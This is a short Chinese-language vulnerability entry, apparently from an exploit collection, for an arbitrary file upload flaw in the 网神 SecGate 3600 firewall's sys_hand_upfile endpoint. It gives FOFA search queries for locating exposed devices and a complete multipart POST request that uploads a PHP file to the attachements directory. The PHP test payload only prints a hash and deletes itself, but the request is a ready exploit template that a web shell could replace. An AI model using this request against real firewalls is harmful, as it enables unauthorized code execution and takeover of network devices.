网神SecGate 3600 防火墙sys_hand_upfile 任意文件上传漏洞.md

网神SecGate 3600 防火墙sys_hand_upfile 任意文件上传漏洞

网神 SecGate 3600 防火墙 sys_hand_upfile 存在任意文件上传漏洞，攻击者可构造特殊 HTTP 请求上传任意文件获取服务器权限，执行恶意命令等。

fofa

body="./images/lsec/login/loading.gif"
title="网神SecGate 3600防火墙"

poc

POST /?g=sys_hand_upfile HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Trident/3.0)
Content-Length: 244
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=gttd4i4aadwh9lmlp1ez
 
--gttd4i4aadwh9lmlp1ez
Content-Disposition: form-data; name="upfile"; filename="ceshi.php"
 
<?php echo md5('666');unlink(__FILE__);?>
--gttd4i4aadwh9lmlp1ez
Content-Disposition: form-data; name="submit_post"
 
sys_hand_upfile
--gttd4i4aadwh9lmlp1ez--

访问文件路径 http//127.0.0.1/attachements/ceshi.php